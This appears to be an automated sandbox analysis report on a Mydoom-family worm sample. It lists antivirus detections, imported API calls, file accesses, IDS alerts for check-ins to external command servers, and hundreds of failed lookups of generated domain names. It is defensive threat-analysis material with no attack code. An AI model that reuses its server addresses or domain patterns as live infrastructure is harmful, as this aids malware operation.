Source: 1.3.smnss.exe.9f9148.29.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.3.smnss.exe.9b8ab8.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 9.0.ctfmen.exe.400000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 1.3.smnss.exe.9b8ab8.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 7.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 7.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 5.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 5.0.smnss.exe.400000.2.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.3.smnss.exe.9f9148.16.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 6.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen
Source: 7.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 2.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 0.0.Readme.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.3.smnss.exe.9f9148.19.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.3.smnss.exe.9f9146.17.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.3.smnss.exe.9f9148.18.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 10.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.3.smnss.exe.9f9148.21.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.0.smnss.exe.400000.0.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.3.smnss.exe.9f9148.20.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.3.smnss.exe.9f9148.23.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 4.0.smnss.exe.400000.3.unpack	Avira: Label: TR/Proxy.Gen
Source: 1.0.smnss.exe.400000.1.unpack	Avira: Label: TR/Proxy.Gen

Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_0040447C CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,sprintf,		0_2_0040447C
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 1_2_0040447C CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,sprintf,		1_2_0040447C

Source: Readme.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\Desktop\Readme.exe	Code function: 0_2_00403790 _mbscpy,memset,FindFirstFileA,FindNextFileA,lstrcpy,_mbscat,FindClose,		0_2_00403790
Source: C:\Windows\SysWOW64\smnss.exe	Code function: 1_2_00403790 _mbscpy,memset,FindFirstFileA,FindNextFileA,lstrcpy,_mbscat,FindClose,		1_2_00403790

Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\adobe.acrobatreaderdc.protectedmode\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\adobe.acrobatreaderdc.protectedmode\AC\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\AC\	Jump to behavior
Source: C:\Windows\SysWOW64\smnss.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\ActiveSync\LocalState\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49683 -> 72.5.161.12:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49683 -> 72.5.161.12:80
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 72.5.161.12:80 -> 192.168.2.5:49683
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49686 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49686 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49690 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49690 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49721 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49721 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49726 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49726 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49737 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49737 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49750 -> 63.251.126.10:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49750 -> 63.251.126.10:80
Source: Traffic	Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 63.251.126.10:80 -> 192.168.2.5:49750
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49768 -> 81.17.29.149:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49768 -> 81.17.29.149:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49773 -> 81.17.18.196:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49773 -> 81.17.18.196:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49780 -> 81.17.29.150:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49780 -> 81.17.29.150:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49786 -> 81.17.18.196:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49786 -> 81.17.18.196:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49795 -> 81.17.29.146:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49795 -> 81.17.29.146:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49798 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49798 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49811 -> 199.59.243.222:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49811 -> 199.59.243.222:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49841 -> 199.59.243.222:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49841 -> 199.59.243.222:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49896 -> 192.187.111.221:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49896 -> 192.187.111.221:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49907 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49907 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49909 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49909 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49919 -> 192.187.111.221:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49919 -> 192.187.111.221:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49921 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49921 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49922 -> 81.17.18.195:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49922 -> 81.17.18.195:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49937 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49937 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49957 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49957 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:49980 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:49980 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:50034 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:50034 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:50054 -> 199.59.243.222:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:50054 -> 199.59.243.222:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:50087 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:50087 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:50093 -> 81.17.29.147:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:50093 -> 81.17.29.147:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:50104 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:50104 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:50115 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:50115 -> 64.70.19.203:80
Source: Traffic	Snort IDS: 2807187 ETPRO TROJAN User-Agent (explwer) 192.168.2.5:50123 -> 199.59.243.222:80
Source: Traffic	Snort IDS: 2807186 ETPRO TROJAN Worm.Mydoom Checkin 192.168.2.5:50123 -> 199.59.243.222:80

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: qpnphqawmh.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: weeqshswms.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qrrmswemps.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: whqrmqmnrs.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mannheraph.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nerwsrehmn.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ppeseaqmms.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rrseshrqsn.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pmnrrneaah.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: npessqaesn.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aewnhwwpwa.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nerrawwees.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: penpnnehwa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: apmeppqwqh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: psqesnmpph.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: weaeprawra.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hmqrapnpsh.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qsspraneas.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wwnmhhenpa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wnnempshra.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: saehrrehnh.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qseerensns.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wphhpmahqs.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: manqhaspwa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mnwqmqhrsh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: npeewrpmsh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sreeshwpmh.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pehawnswha.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smpamewrns.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qqwhsnpwhn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qmhqeesawh.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: whwsqnemsn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hhsmeanamh.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: manrhhmrsn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ahsppnhrmh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wsmsannrsr.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wnshehamhh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wsnnrpapaa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mnaahmqpqs.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nwaahharmh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mahwmwnrmn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wrnwernreh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: psswwrmraa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rrpnmeawrs.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqsrephqms.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qhwqwrpwnn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mpehqsqwmn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: swwmpphesa.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: weaamsqssa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqsnnpeahh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mrwpmwnnra.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: whmrraawha.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wnhrrnhran.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wnarpnqaqh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hmparqsaqa.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qshwspwhsn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rrmqanpnwa.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wpnermpasr.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nqpemnraha.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: saqpssases.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rrqmmwahna.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qnmmhnspwn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smersswaha.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nnnrpsanwh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: haearrsqhn.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: snarawppsr.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: swqrheamea.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: napenhsmha.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rahhhqwqqa.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: prwnpnspha.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qsaqhnrwwn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qprhpqwhwh.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qhhnpesehs.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pnmhpsaqwn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qppqsasahn.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qswpppqnms.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mnmrweahpn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: spmpesqama.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rmqsrpsqes.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mnpsepswhs.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nsneerhwrs.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qmsaspnsna.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wwqsnwppes.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: neqanhanwn.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: amqwpwewrs.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mqrqqhepsr.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pwramqmsms.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rpwrwpqmrs.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sermsqqqna.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: msprmhpesa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: naspqmsmeh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: newawsanms.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qmqspqnhwa.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sphhpenran.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smrnnmaqra.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qseahwrsps.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hwenrqmmmh.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hwnppemeea.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hqepnmqewn.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hhwhmwmaws.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nnhssqsasr.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aaqamerqwa.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: maanhsqens.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pqarnhhhhn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: saanqmaqpn.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hnehqqwwrs.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mqsnrenerh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hnhsehnhpa.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qsswqemmws.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nnhhneqnrh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qhqqqnerss.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nprhssnrmn.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: apnssmrrqs.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aeaqnwmhes.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qrmahrnesh.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssmrnmspws.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sprpmpqasn.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rnehrmnwqa.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rammaswpsh.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pweenawwra.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: haaahpspqs.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nwqsnneawh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: awqqrwmwsh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nspseanhrs.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aqsnaasemh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aweqaesrms.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pqrnwwmweh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qqpqwehwah.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hewamrprrs.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: psqeppnaha.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rswnmhhsrh.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: spawwehsrs.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qnrsaaarmh.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qppamspwhs.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: neshnhhwss.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wrpeasspnn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mnwsnarssr.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wnrphnsawn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: prwmrnpqes.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: peerrrehen.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qnmpehmpra.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hhnhsmeren.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: awmmprseha.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nrmwqewpnn.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sqmswpnqws.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rhwnqwwnah.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: awharshhrh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wnnnqwpeea.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mnrepmepar.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aqmrnawpan.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wereqmsnwh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pwqpewwahh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: resmarqarn.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rmmamheshh.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hmrnphameh.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aeaqmpsaqa.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mwrqpqeeen.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: apqhwmnqrh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wrmqnnrqmh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mpmhhhprnn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bog.msu.ru replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: wnhpqrweas.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mmwepspqwa.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: haswmnsqah.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qqewasnrnr.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mwaaemmnhn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rsqsepmwas.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wwaqpenhnn.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: amqqsaqhas.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smmmwrsqhs.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mnnhnhahmh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mmmphaeann.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mapasaqear.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqeasppnas.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hrwswapann.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: henwwsahhh.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: armahmrsaa.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hwnwwhmapa.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hpeqherars.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qmrmswrran.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nwrrpeshhn.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: hqremeeheh.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: reeahnpewn.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wqahhaqenh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: srsersmhsa.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: remrpqpseh.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wnnqnrwqea.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: spewqmspma.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rnrnqqawqs.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wmphheprha.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mehsnsamha.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nqrreahqrh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rmpmspqhph.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: npmpsewraa.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sqmmqqssea.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pmmpmshmsr.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nhseewhaps.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: msaemqshmh.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rmmwpwhapn.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nwrrsharmn.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mesrphwwas.in replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssnsphrnws.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: nqenrpwpeh.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ssapaqsepa.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: rnnnpannna.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: prmaahsmqs.in replaycode: Name error (3)
